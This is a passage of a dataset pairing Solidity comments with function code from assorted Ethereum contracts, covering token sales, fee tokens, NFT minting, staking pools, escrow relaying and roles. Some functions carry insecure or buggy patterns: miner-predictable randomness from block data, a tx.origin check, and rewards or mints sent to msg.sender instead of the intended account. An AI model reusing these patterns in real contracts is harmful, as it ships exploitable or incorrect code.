\"Failed to fetch USD/CAD exchange rate\");\r\n require(granularity <= 36, \"USD rate granularity too high\");\r\n\r\n // use mul before div\r\n return usdAmount.mul(USDToCADRate).mul(100).div(10 ** granularity).div(_fixedPriceCADCent);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @notice view max amount of USD deposit that can be accepted\r\n * @return max amount of USD deposit (18 decimal places)\r\n */", "function_code": "function availableTokenInUSD() external view returns (uint256) {\r\n (bool success, uint256 USDToCADRate, uint256 granularity,) = _oracle.getCurrentValue(1);\r\n require(success, \"Failed to fetch USD/CAD exchange rate\");\r\n require(granularity <= 36, \"USD rate granularity too high\");\r\n\r\n uint256 tokenAmount = tokensAvailable();\r\n\r\n return tokenAmount.mul(_fixedPriceCADCent).mul(10 ** granularity).div(100).div(USDToCADRate);\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * @dev if fees are enabled, subtract 2.25% fee and send it to beneficiary\r\n * @dev after a certain threshold, try to swap collected fees automatically\r\n * @dev if automatic swap fails (or beneficiary does not implement swapTokens function) transfer should still succeed\r\n */", "function_code": "function _transfer(\r\n address sender,\r\n address recipient,\r\n uint256 amount\r\n ) internal override {\r\n require(\r\n recipient != address(this),\r\n \"Cannot send tokens to token contract\"\r\n );\r\n if (\r\n !feesEnabled ||\r\n isExcludedFromFee[sender] ||\r\n isExcludedFromFee[recipient]\r\n ) {\r\n ERC20._transfer(sender, recipient, amount);\r\n return;\r\n }\r\n // burn tokens if min supply not reached yet\r\n uint256 burnedFee = calculateFee(amount, 25);\r\n if (totalSupply() - burnedFee >= minSupply) {\r\n _burn(sender, burnedFee);\r\n } else {\r\n burnedFee = 0;\r\n }\r\n uint256 transferFee = calculateFee(amount, 200);\r\n ERC20._transfer(sender, beneficiary, transferFee);\r\n ERC20._transfer(sender, recipient, amount - transferFee - burnedFee);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Calculates the average of two numbers. Since these are integers,\r\n * averages of an even and odd number cannot be represented, and will be\r\n * rounded down.\r\n */", "function_code": "function average(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // (a + b) / 2 can overflow, so we distribute\r\n return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);\r\n }", "version": "0.5.8"} {"comment": "// Calculate amount that needs to be paid", "function_code": "function totalPaymentRequired (uint amountMinted) internal returns (uint) {\r\n uint discountedMintsRemaining = discountedMints;\r\n uint totalPrice;\r\n \r\n if(discountedMintsRemaining == 0) {\r\n totalPrice = amountMinted * mintPrice;\r\n } else if (discountedMintsRemaining >= amountMinted) { \r\n totalPrice = amountMinted * discountedMintPrice;\r\n discountedMintsRemaining -= amountMinted; \r\n } else {\r\n totalPrice = (discountedMintsRemaining * discountedMintPrice) + ((amountMinted-discountedMintsRemaining) * mintPrice);\r\n discountedMintsRemaining = 0;\r\n }\r\n\r\n discountedMints = discountedMintsRemaining;\r\n return totalPrice;\r\n }", "version": "0.8.12"} {"comment": "// promoMultiMint - this mint is for marketing ,etc, minted directly to the wallet of the recepient\n// for each item, a random character is chosen and minted. Max inclusing team mint is 200 (tracking reserved mint)\n// only approved wallets", "function_code": "function promoMultiMint (address receiver, uint quantity) public nonReentrant {\r\n require(approvedTeamMinters[msg.sender], \"Minter not approved\");\r\n require(reservedMint > 0, \"No reserved mint remaining\");\r\n\r\n uint16[10] memory characterTracker = divergentCharacters;\r\n uint[10] memory mintedCharacters;\r\n\r\n for (uint i= 0; i < quantity; i++ ){\r\n bytes32 newRandomSelection = keccak256(abi.encodePacked(block.difficulty, block.coinbase, i));\r\n uint pickCharacter = uint(newRandomSelection)%10;\r\n mintedCharacters[pickCharacter] += 1;\r\n characterTracker[pickCharacter] -= 1;\r\n }\r\n\r\n _safeMint(receiver, quantity);\r\n\r\n divergentCharacters = characterTracker;\r\n\r\n reservedMint -= quantity;\r\n\r\n emit Minted(mintedCharacters, receiver);\r\n\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @param threshold exceed the threshold will get bonus\r\n */", "function_code": "function _setBonusConditions(\r\n uint256 threshold,\r\n uint256 t1BonusTime,\r\n uint256 t1BonusRate,\r\n uint256 t2BonusTime,\r\n uint256 t2BonusRate\r\n )\r\n private\r\n onlyOwner\r\n {\r\n require(threshold > 0,\" threshold cannot be zero.\");\r\n require(t1BonusTime < t2BonusTime, \"invalid bonus time\");\r\n require(t1BonusRate >= t2BonusRate, \"invalid bonus rate\");\r\n\r\n bonusThreshold = threshold;\r\n tierOneBonusTime = t1BonusTime;\r\n tierOneBonusRate = t1BonusRate;\r\n tierTwoBonusTime = t2BonusTime;\r\n tierTwoBonusRate = t2BonusRate;\r\n\r\n emit BonusConditionsSet(\r\n msg.sender,\r\n threshold,\r\n t1BonusTime,\r\n t1BonusRate,\r\n t2BonusTime,\r\n t2BonusRate\r\n );\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev buy tokens\r\n * @dev buyer must be in whitelist\r\n * @param exToken address of the exchangeable token\r\n * @param amount amount of the exchangeable token\r\n */", "function_code": "function buyTokens(\r\n address exToken,\r\n uint256 amount\r\n )\r\n external\r\n {\r\n require(_exTokens[exToken].accepted, \"token was not accepted\");\r\n require(amount != 0, \"amount cannot 0\");\r\n require(whitelist[msg.sender], \"buyer must be in whitelist\");\r\n // calculate token amount to sell\r\n uint256 tokens = _getTokenAmount(exToken, amount);\r\n require(tokens >= 10**19, \"at least buy 10 tokens per purchase\");\r\n _forwardFunds(exToken, amount);\r\n _processPurchase(msg.sender, tokens);\r\n emit TokensPurchased(msg.sender, exToken, amount, tokens);\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev calculated purchased sale token amount\r\n * @param exToken address of the exchangeable token\r\n * @param amount amount of the exchangeable token (how much to pay)\r\n * @return amount of purchased sale token\r\n */", "function_code": "function _getTokenAmount(\r\n address exToken,\r\n uint256 amount\r\n )\r\n private\r\n view\r\n returns (uint256)\r\n {\r\n // round down value (v) by multiple (m) = (v / m) * m\r\n uint256 value = amount\r\n .div(100000000000000000)\r\n .mul(100000000000000000)\r\n .mul(_exTokens[exToken].rate);\r\n return _applyBonus(value);\r\n }", "version": "0.5.8"} {"comment": "/*\r\n * fallback subscription logic\r\n */", "function_code": "function() public payable {\r\n \r\n /*\r\n * only when contract is active\r\n */\r\n require(paused == 0, 'paused');\r\n \r\n /*\r\n * smart contracts are not allowed to participate\r\n */\r\n require(tx.origin == msg.sender, 'not allowed');\r\n \r\n /*\r\n * only when contract is active\r\n */\r\n require(msg.value >= price, 'low amount');\r\n\r\n /*\r\n * subscribe the user\r\n */\r\n users.push(msg.sender);\r\n \r\n /*\r\n * log the event\r\n */\r\n emit NewBet(msg.sender);\r\n \r\n /*\r\n * collect the ETH\r\n */\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/*\r\n * bet details\r\n */", "function_code": "function details() public view returns (\r\n address _owner\r\n , bytes16 _name \r\n , uint _price \r\n , uint _total\r\n , uint _paused\r\n ) {\r\n return (\r\n owner\r\n , name\r\n , price\r\n , users.length\r\n , paused\r\n );\r\n }", "version": "0.4.24"} {"comment": "// promoMint", "function_code": "function promoMint (address[] calldata receiver) public nonReentrant {\r\n require(approvedTeamMinters[msg.sender], \"Minter not approved\");\r\n require(reservedMint > 0, \"No reserved mint remaining\");\r\n\r\n uint16[10] memory characterTracker = divergentCharacters;\r\n \r\n\r\n for (uint i = 0; i < receiver.length; i++) {\r\n bytes32 newRandomSelection = keccak256(abi.encodePacked(block.difficulty, block.coinbase, i));\r\n uint pickCharacter = uint(newRandomSelection)%10;\r\n uint[10] memory mintedCharacters;\r\n mintedCharacters[pickCharacter] += 1;\r\n characterTracker[pickCharacter] -= 1;\r\n\r\n _safeMint(receiver[i], 1);\r\n\r\n emit Minted(mintedCharacters, receiver[i]);\r\n }\r\n\r\n divergentCharacters = characterTracker;\r\n\r\n reservedMint -= receiver.length;\r\n\r\n }", "version": "0.8.12"} {"comment": "//Guru minting", "function_code": "function guruMint(address receiver, uint quantity) public nonReentrant {\r\n require(approvedTeamMinters[msg.sender], \"Minter not approved\");\r\n require(divergentGuru >= quantity, \"Insufficient remaining Guru\");\r\n\r\n // Mint\r\n _safeMint(msg.sender, quantity);\r\n\r\n // Net off against guruminted\r\n divergentGuru -= quantity;\r\n\r\n // emit event\r\n emit GuruMinted(quantity, receiver);\r\n\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev Allows entities to exchange their Ethereum for tokens representing\r\n * their tax credits. This function mints new tax credit tokens that are backed\r\n * by the ethereum sent to exchange for them.\r\n */", "function_code": "function exchange(string memory email) public payable {\r\n require(msg.value > minimumPurchase);\r\n require(keccak256(bytes(email)) != keccak256(bytes(\"\"))); // require email parameter\r\n\r\n addresses.push(msg.sender);\r\n emails[msg.sender] = email;\r\n uint256 tokens = msg.value.mul(exchangeRate);\r\n tokens = tokens.mul(discountRate);\r\n tokens = tokens.div(1 ether).div(1 ether); // offset exchange rate & discount rate multiplications\r\n _handleMint(msg.sender, tokens);\r\n emit Exchange(email, msg.sender, tokens);\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev Allows owner to change minimum purchase in order to keep minimum\r\n * tax credit exchange around a certain USD threshold\r\n * @param newMinimum The new minimum amount of ether required to purchase tax credit tokens\r\n */", "function_code": "function changeMinimumExchange(uint256 newMinimum) public onlyOwner {\r\n require(newMinimum > 0); // if minimum is 0 then division errors will occur for exchange and discount rates\r\n minimumPurchase = newMinimum * 1 ether;\r\n exchangeRate = 270000 ether / minimumPurchase;\r\n }", "version": "0.5.1"} {"comment": "/*\r\n * @dev Return all addresses belonging to a certain email (it is possible that an\r\n * entity may purchase tax credit tokens multiple times with different Ethereum addresses).\r\n * \r\n * NOTE: This transaction may incur a significant gas cost as more participants purchase credits.\r\n */", "function_code": "function getAllAddresses(string memory email) public view onlyOwner returns (address[] memory) {\r\n address[] memory all = new address[](addresses.length);\r\n for (uint32 i = 0; i < addresses.length; i++) {\r\n if (keccak256(bytes(emails[addresses[i]])) == keccak256(bytes(email))) {\r\n all[i] = addresses[i];\r\n }\r\n }\r\n return all;\r\n }", "version": "0.5.1"} {"comment": "/**\r\n * @dev funtion that returns a callers staked position in a pool \r\n * using `_pid` as an argument.\r\n */", "function_code": "function accountPosition(address _account, uint256 _pid) public view returns (\r\n address _accountAddress, \r\n uint256 _unlockHeight, \r\n uint256 _lockedAmount, \r\n uint256 _lockPeriodInDays, \r\n uint256 _userDPY, \r\n IERC20 _lpTokenAddress,\r\n uint256 _totalRewardsPaidFromPool\r\n ) {\r\n LiquidityProviders memory p = provider[_pid][_account];\r\n PoolInfo memory pool = poolInfo[_pid];\r\n return (\r\n p.Provider, \r\n p.UnlockHeight, \r\n p.LockedAmount, \r\n p.Days, \r\n p.UserBP, \r\n pool.ContractAddress,\r\n pool.TotalRewardsPaidByPool\r\n );\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev allows accounts with the _ADMIN role to set new lock periods.\r\n */", "function_code": "function setLockPeriods(uint256 _newPeriod0, uint256 _newPeriod1, uint256 _newPeriod2) public {\r\n require(hasRole(_ADMIN, msg.sender),\"LiquidityMining: Message Sender must be _ADMIN\");\r\n require(_newPeriod2 > _newPeriod1 && _newPeriod1 > _newPeriod0);\r\n lockPeriod0 = _newPeriod0;\r\n lockPeriod1 = _newPeriod1;\r\n lockPeriod2 = _newPeriod2;\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev this function allows a user to add a liquidity Staking\r\n * position. The user will need to choose one of the three\r\n * configured lock Periods. Users may add to the position \r\n * only once per lock period.\r\n */", "function_code": "function addPosition(uint256 _lpTokenAmount, uint256 _lockPeriod, uint256 _pid) public addPositionNotDisabled unpaused{\r\n LiquidityProviders storage p = provider[_pid][msg.sender];\r\n PoolInfo storage pool = poolInfo[_pid];\r\n address ca = address(this);\r\n require(p.LockedAmount == 0, \"LiquidityMining: This account already has a position\");\r\n if(_lockPeriod == lockPeriod0) {\r\n pool.ContractAddress.safeTransferFrom(msg.sender, ca, _lpTokenAmount);\r\n uint _preYield = _lpTokenAmount.mul(lockPeriod0BasisPoint.add(pool.PoolBonus)).div(lockPeriodBPScale).mul(_lockPeriod);\r\n provider[_pid][msg.sender] = LiquidityProviders (\r\n msg.sender, \r\n block.number.add(periodCalc.mul(lockPeriod0)), \r\n _lpTokenAmount, \r\n lockPeriod0, \r\n lockPeriod0BasisPoint,\r\n p.TotalRewardsPaid.add(_preYield.div(preYieldDivisor))\r\n );\r\n fundamenta.mintTo(msg.sender, _preYield.div(preYieldDivisor));\r\n pool.TotalLPTokensLocked = pool.TotalLPTokensLocked.add(_lpTokenAmount);\r\n pool.TotalRewardsPaidByPool = pool.TotalRewardsPaidByPool.add(_preYield.div(preYieldDivisor));\r\n } else if (_lockPeriod == lockPeriod1) {\r\n pool.ContractAddress.safeTransferFrom(msg.sender, ca, _lpTokenAmount);\r\n uint _preYield = _lpTokenAmount.mul(lockPeriod1BasisPoint.add(pool.PoolBonus)).div(lockPeriodBPScale).mul(_lockPeriod);\r\n provider[_pid][msg.sender] = LiquidityProviders (\r\n msg.sender, \r\n block.number.add(periodCalc.mul(lockPeriod1)), \r\n _lpTokenAmount, \r\n lockPeriod1, \r\n lockPeriod1BasisPoint,\r\n p.TotalRewardsPaid.add(_preYield.div(preYieldDivisor))\r\n );\r\n fundamenta.mintTo(msg.sender, _preYield.div(preYieldDivisor));\r\n pool.TotalLPTokensLocked = pool.TotalLPTokensLocked.add(_lpTokenAmount);\r\n pool.TotalRewardsPaidByPool = pool.TotalRewardsPaidByPool.add(_preYield.div(preYieldDivisor));\r\n } else if (_lockPeriod == lockPeriod2) {\r\n pool.ContractAddress.safeTransferFrom(msg.sender, ca, _lpTokenAmount);\r\n uint _preYield = _lpTokenAmount.mul(lockPeriod2BasisPoint.add(pool.PoolBonus)).div(lockPeriodBPScale).mul(_lockPeriod);\r\n provider[_pid][msg.sender] = LiquidityProviders (\r\n msg.sender, \r\n block.number.add(periodCalc.mul(lockPeriod2)), \r\n _lpTokenAmount, \r\n lockPeriod2, \r\n lockPeriod2BasisPoint,\r\n p.TotalRewardsPaid.add(_preYield.div(preYieldDivisor))\r\n );\r\n fundamenta.mintTo(msg.sender, _preYield.div(preYieldDivisor));\r\n pool.TotalLPTokensLocked = pool.TotalLPTokensLocked.add(_lpTokenAmount);\r\n pool.TotalRewardsPaidByPool = pool.TotalRewardsPaidByPool.add(_preYield.div(preYieldDivisor));\r\n }else revert(\"LiquidityMining: Incompatible Lock Period\");\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev allows a user to remove a liquidity staking position\r\n * and will withdraw any pending rewards. User must withdraw \r\n * the entire position.\r\n */", "function_code": "function removePosition(uint _lpTokenAmount, uint256 _pid) external unpaused {\r\n LiquidityProviders storage p = provider[_pid][msg.sender];\r\n PoolInfo storage pool = poolInfo[_pid];\r\n require(_lpTokenAmount == p.LockedAmount, \"LiquidyMining: Either you do not have a position or you must remove the entire amount.\");\r\n require(p.UnlockHeight < block.number, \"LiquidityMining: Not Long Enough\");\r\n pool.ContractAddress.safeTransfer(msg.sender, _lpTokenAmount);\r\n uint yield = calculateUserDailyYield(_pid);\r\n fundamenta.mintTo(msg.sender, yield);\r\n provider[_pid][msg.sender] = LiquidityProviders (\r\n msg.sender, \r\n 0, \r\n p.LockedAmount.sub(_lpTokenAmount),\r\n 0, \r\n 0,\r\n p.TotalRewardsPaid.add(yield)\r\n );\r\n pool.TotalRewardsPaidByPool = pool.TotalRewardsPaidByPool.add(yield);\r\n pool.TotalLPTokensLocked = pool.TotalLPTokensLocked.sub(_lpTokenAmount);\r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @dev funtion to forcibly remove a users position. This is required due to the fact that\r\n * the basis points and scales used to calculate user DPY will be constantly changing. We \r\n * will need to forceibly remove positions of lazy (or malicious) users who will try to take \r\n * advantage of DPY being lowered instead of raised and maintining thier current return levels.\r\n */", "function_code": "function forcePositionRemoval(uint256 _pid, address _account) public {\r\n require(hasRole(_REMOVAL, msg.sender));\r\n LiquidityProviders storage p = provider[_pid][_account];\r\n PoolInfo storage pool = poolInfo[_pid];\r\n uint256 _lpTokenAmount = p.LockedAmount;\r\n pool.ContractAddress.safeTransfer(_account, _lpTokenAmount);\r\n uint256 _newLpTokenAmount = p.LockedAmount.sub(_lpTokenAmount);\r\n uint yield = calculateUserDailyYield(_pid);\r\n fundamenta.mintTo(msg.sender, yield);\r\n provider[_pid][_account] = LiquidityProviders (\r\n _account, \r\n 0, \r\n _newLpTokenAmount, \r\n 0, \r\n 0,\r\n p.TotalRewardsPaid.add(yield)\r\n );\r\n pool.TotalRewardsPaidByPool = pool.TotalRewardsPaidByPool.add(yield);\r\n pool.TotalLPTokensLocked = pool.TotalLPTokensLocked.sub(_lpTokenAmount);\r\n \r\n }", "version": "0.7.4"} {"comment": "/**\r\n * @notice Create a new role.\r\n * @param _roleDescription The description of the role created.\r\n * @param _admin The role that is allowed to add and remove\r\n * bearers from the role being created.\r\n * @return The role id.\r\n */", "function_code": "function addRole(string memory _roleDescription, uint256 _admin)\r\n public\r\n returns(uint256)\r\n {\r\n require(_admin <= roles.length, \"Admin role doesn't exist.\");\r\n uint256 role = roles.push(\r\n Role({\r\n description: _roleDescription,\r\n admin: _admin\r\n })\r\n ) - 1;\r\n emit RoleCreated(role);\r\n return role;\r\n }", "version": "0.5.17"} {"comment": "// Used by Blockbid admin to calculate amount of BIDL to deposit in the contract.", "function_code": "function admin_getBidlAmountToDeposit() public view returns (uint256) {\r\n uint256 weiBalance = address(this).balance;\r\n uint256 bidlAmountSupposedToLock = weiBalance / _weiPerBidl;\r\n uint256 bidlBalance = _bidlToken.balanceOf(address(this));\r\n if (bidlAmountSupposedToLock < bidlBalance) {\r\n return 0;\r\n }\r\n return bidlAmountSupposedToLock - bidlBalance;\r\n }", "version": "0.5.11"} {"comment": "// Process ETH coming from the pool participant address.", "function_code": "function () external payable {\r\n // Do not allow changing participant address after it has been set.\r\n if (_poolParticipant != address(0) && _poolParticipant != msg.sender) {\r\n revert();\r\n }\r\n\r\n // Do not allow top-ups if the contract had been activated.\r\n if (_activated) {\r\n revert();\r\n }\r\n\t\t\r\n\t\tuint256 weiBalance = address(this).balance;\r\n\t\t\r\n\t\t// Refund excessive ETH.\r\n\t\tif (weiBalance > _maxBalanceWei) {\r\n\t\t uint256 excessiveWei = weiBalance.sub(_maxBalanceWei);\r\n\t\t msg.sender.transfer(excessiveWei);\r\n\t\t weiBalance = _maxBalanceWei;\r\n\t\t}\r\n\t\t\r\n\t\tif (_poolParticipant != msg.sender) \r\n\t\t _poolParticipant = msg.sender;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @notice A method to remove a bearer from a role\r\n * @param _account The account to remove as a bearer.\r\n * @param _role The role to remove the bearer from.\r\n */", "function_code": "function removeBearer(address _account, uint256 _role)\r\n external\r\n {\r\n require(\r\n _role < roles.length,\r\n \"Role doesn't exist.\"\r\n );\r\n require(\r\n hasRole(msg.sender, roles[_role].admin),\r\n \"User can't remove bearers.\"\r\n );\r\n require(\r\n hasRole(_account, _role),\r\n \"Account is not bearer of role.\"\r\n );\r\n\r\n delete roles[_role].bearers[_account];\r\n emit BearerRemoved(_account, _role);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Create a new escrow\r\n * @param _offerId Offer\r\n * @param _tokenAmount Amount buyer is willing to trade\r\n * @param _fiatAmount Indicates how much FIAT will the user pay for the tokenAmount\r\n * @param _contactData Contact Data ContactType:UserId\r\n * @param _location The location on earth\r\n * @param _username The username of the user\r\n */", "function_code": "function createEscrow(\r\n uint _offerId,\r\n uint _tokenAmount,\r\n uint _fiatAmount,\r\n string memory _contactData,\r\n string memory _location,\r\n string memory _username\r\n ) public returns (uint escrowId) {\r\n address sender = getSender();\r\n lastActivity[sender] = block.timestamp;\r\n escrowId = escrow.createEscrow_relayed(\r\n address(uint160(sender)),\r\n _offerId,\r\n _tokenAmount,\r\n _fiatAmount,\r\n _contactData,\r\n _location,\r\n _username\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @notice Function returning if we accept or not the relayed call (do we pay or not for the gas)\r\n * @param from Address of the buyer getting a free transaction\r\n * @param encodedFunction Function that will be called on the Escrow contract\r\n * @param gasPrice Gas price\r\n * @dev relay and transaction_fee are useless in our relay workflow\r\n */", "function_code": "function acceptRelayedCall(\r\n address /* relay */,\r\n address from,\r\n bytes calldata encodedFunction,\r\n uint256 /* transactionFee */,\r\n uint256 gasPrice,\r\n uint256 /* gasLimit */,\r\n uint256 /* nonce */,\r\n bytes calldata /* approvalData */,\r\n uint256 /* maxPossibleCharge */\r\n ) external view returns (uint256, bytes memory)\r\n {\r\n bytes memory abiEncodedFunc = encodedFunction; // Call data elements cannot be accessed directly\r\n bytes4 fSign;\r\n uint dataValue;\r\n\r\n assembly {\r\n fSign := mload(add(abiEncodedFunc, add(0x20, 0)))\r\n dataValue := mload(add(abiEncodedFunc, 36))\r\n }\r\n\r\n return (_evaluateConditionsToRelay(from, gasPrice, fSign, dataValue), \"\");\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Evaluates if the sender conditions are valid for relaying a escrow transaction\r\n * @param from Sender\r\n * @param gasPrice Gas Price\r\n * @param functionSignature Function Signature\r\n * @param dataValue Represents the escrowId or offerId depending on the function being called\r\n */", "function_code": "function _evaluateConditionsToRelay(address from, uint gasPrice, bytes4 functionSignature, uint dataValue) internal view returns (uint256) {\r\n address token;\r\n\r\n if(functionSignature == RATE_SIGNATURE && gasPrice < 20000000000){\r\n return OK;\r\n }\r\n\r\n if(from.balance > 600000 * gasPrice) return ERROR_ENOUGH_BALANCE;\r\n\r\n if(gasPrice > 20000000000) return ERROR_GAS_PRICE; // 20Gwei\r\n\r\n if(functionSignature == PAY_SIGNATURE || functionSignature == CANCEL_SIGNATURE || functionSignature == OPEN_CASE_SIGNATURE){\r\n address payable buyer;\r\n \r\n (buyer, , token, ) = escrow.getBasicTradeData(dataValue);\r\n\r\n if(buyer != from) return ERROR_INVALID_BUYER;\r\n if(token != snt && token != address(0)) return ERROR_INVALID_ASSET;\r\n\r\n if(functionSignature == CANCEL_SIGNATURE){ // Allow activity after 15min have passed\r\n if((lastActivity[from] + 15 minutes) > block.timestamp) return ERROR_TRX_TOO_SOON;\r\n }\r\n\r\n return OK;\r\n } else if(functionSignature == CREATE_SIGNATURE) {\r\n token = metadataStore.getAsset(dataValue);\r\n\r\n if(token != snt && token != address(0)) return ERROR_INVALID_ASSET;\r\n\r\n // Allow activity after 15 min have passed\r\n if((lastActivity[from] + 15 minutes) > block.timestamp) return ERROR_TRX_TOO_SOON;\r\n\r\n return OK;\r\n }\r\n\r\n return ERROR;\r\n }", "version": "0.5.10"} {"comment": "// Write (n - 1) as 2^s * d", "function_code": "function getValues(uint256 n) public pure returns (uint256[2] memory) {\r\n uint256 s = 0;\r\n uint256 d = n - 1;\r\n while (d % 2 == 0) {\r\n d = d / 2;\r\n s++;\r\n }\r\n uint256[2] memory ret;\r\n ret[0] = s;\r\n ret[1] = d;\r\n return ret;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Approves another address to transfer the given token ID\r\n * @dev The zero address indicates there is no approved address.\r\n * @dev There can only be one approved address per token at a given time.\r\n * @dev Can only be called by the token owner or an approved operator.\r\n * @param _to address to be approved for the given token ID\r\n * @param _tokenId uint256 ID of the token to be approved\r\n */", "function_code": "function approve(address _to, uint256 _tokenId) public {\r\n address owner = ownerOf(_tokenId);\r\n require(_to != owner);\r\n require(msg.sender == owner || isApprovedForAll(owner, msg.sender));\r\n\r\n if (getApproved(_tokenId) != address(0) || _to != address(0)) {\r\n tokenApprovals[_tokenId] = _to;\r\n emit Approval(owner, _to, _tokenId);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Appends uint (in decimal) to a string\r\n * @param _str The prefix string\r\n * @param _value The uint to append\r\n * @return resulting string\r\n */", "function_code": "function _appendUintToString(string _str, uint _value) internal pure returns (string) {\r\n uint maxLength = 100;\r\n bytes memory reversed = new bytes(maxLength);\r\n uint i = 0;\r\n while (_value != 0) {\r\n uint remainder = _value % 10;\r\n _value = _value / 10;\r\n reversed[i++] = byte(48 + remainder);\r\n }\r\n i--;\r\n\r\n bytes memory inStrB = bytes(_str);\r\n bytes memory s = new bytes(inStrB.length + i + 1);\r\n uint j;\r\n for (j = 0; j < inStrB.length; j++) {\r\n s[j] = inStrB[j];\r\n }\r\n for (j = 0; j <= i; j++) {\r\n s[j + inStrB.length] = reversed[i - j];\r\n }\r\n return string(s);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Internal function to remove a token ID from the list of a given address\r\n * @param _from address representing the previous owner of the given token ID\r\n * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address\r\n */", "function_code": "function removeTokenFrom(address _from, uint256 _tokenId) internal {\r\n super.removeTokenFrom(_from, _tokenId);\r\n\r\n uint256 tokenIndex = ownedTokensIndex[_tokenId];\r\n uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);\r\n uint256 lastToken = ownedTokens[_from][lastTokenIndex];\r\n\r\n ownedTokens[_from][tokenIndex] = lastToken;\r\n ownedTokens[_from][lastTokenIndex] = 0;\r\n // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to\r\n // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping\r\n // the lastToken to the first position, and then dropping the element placed in the last position of the list\r\n\r\n ownedTokens[_from].length--;\r\n ownedTokensIndex[_tokenId] = 0;\r\n ownedTokensIndex[lastToken] = tokenIndex;\r\n\r\n // If a hero is removed from its owner, it no longer can be their active hero\r\n if (activeHero[_from] == _tokenId) {\r\n activeHero[_from] = 0;\r\n emit ActiveHeroChanged(_from, 0);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Internal function to burn a specific token\r\n * @dev Reverts if the token does not exist\r\n * @param _owner owner of the token to burn\r\n * @param _tokenId uint256 ID of the token being burned by the msg.sender\r\n */", "function_code": "function _burn(address _owner, uint256 _tokenId) internal {\r\n clearApproval(_owner, _tokenId);\r\n removeTokenFrom(_owner, _tokenId);\r\n emit Transfer(_owner, address(0), _tokenId);\r\n\r\n // Reorg all tokens array\r\n uint256 tokenIndex = allTokensIndex[_tokenId];\r\n uint256 lastTokenIndex = allTokens.length.sub(1);\r\n uint256 lastToken = allTokens[lastTokenIndex];\r\n\r\n allTokens[tokenIndex] = lastToken;\r\n allTokens[lastTokenIndex] = 0;\r\n\r\n allTokens.length--;\r\n allTokensIndex[_tokenId] = 0;\r\n allTokensIndex[lastToken] = tokenIndex;\r\n\r\n // Clear genome data\r\n if (genome[_tokenId] != 0) {\r\n genome[_tokenId] = 0;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Allows setting hero data for a hero\r\n * @param _tokenId hero to set data for\r\n * @param _fieldA data to set\r\n * @param _fieldB data to set\r\n * @param _fieldC data to set\r\n * @param _fieldD data to set\r\n * @param _fieldE data to set\r\n * @param _fieldF data to set\r\n * @param _fieldG data to set\r\n */", "function_code": "function setHeroData(\r\n uint256 _tokenId,\r\n uint16 _fieldA,\r\n uint16 _fieldB,\r\n uint32 _fieldC,\r\n uint32 _fieldD,\r\n uint32 _fieldE,\r\n uint64 _fieldF,\r\n uint64 _fieldG\r\n ) external onlyLogicContract {\r\n heroData[_tokenId] = HeroData(\r\n _fieldA,\r\n _fieldB,\r\n _fieldC,\r\n _fieldD,\r\n _fieldE,\r\n _fieldF,\r\n _fieldG\r\n );\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Release one of the payee's proportional payment.\r\n * @param account Whose payments will be released.\r\n */", "function_code": "function release(address account) public {\r\n require(_shares[account] > 0);\r\n\r\n uint256 totalReceived = address(this).balance.add(_totalReleased);\r\n uint256 payment = totalReceived.mul(\r\n _shares[account]).div(\r\n _totalShares).sub(\r\n _released[account]\r\n );\r\n\r\n require(payment != 0);\r\n\r\n _released[account] = _released[account].add(payment);\r\n _totalReleased = _totalReleased.add(payment);\r\n\r\n account.transfer(payment);\r\n emit PaymentReleased(account, payment);\r\n }", "version": "0.4.24"} {"comment": "// transfer _value tokens to _to from msg.sender", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n\t // if you want to destroy tokens, use burn replace transfer to address 0\r\n\t\trequire(_to != address(0));\r\n\t\t// can not transfer to self\r\n\t\trequire(_to != msg.sender);\r\n\t\trequire(_value <= balances[msg.sender]);\r\n\r\n\t\t// SafeMath.sub will throw if there is not enough balance.\r\n\t\tbalances[msg.sender] = balances[msg.sender].sub(_value);\r\n\t\tbalances[_to] = balances[_to].add(_value);\r\n\t\temit Transfer(msg.sender, _to, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "// decrease approval to _spender", "function_code": "function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {\r\n\t\tuint oldValue = allowed[msg.sender][_spender];\r\n\t\tif (_subtractedValue > oldValue) {\r\n\t\t\tallowed[msg.sender][_spender] = 0;\r\n\t\t} else {\r\n\t\t\tallowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);\r\n\t\t}\r\n\t\temit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);\r\n\t\treturn true;\r\n\t}", "version": "0.4.23"} {"comment": "/**\r\n * @dev Mints a new NFT.\r\n * @notice This is an internal function which should be called from user-implemented external\r\n * mint function. Its purpose is to show and properly initialize data structures when using this\r\n * implementation.\r\n * @param _to The address that will own the minted NFT.\r\n */", "function_code": "function _mint(address _to, uint seed) internal returns (string) {\r\n require(_to != address(0));\r\n require(numTokens 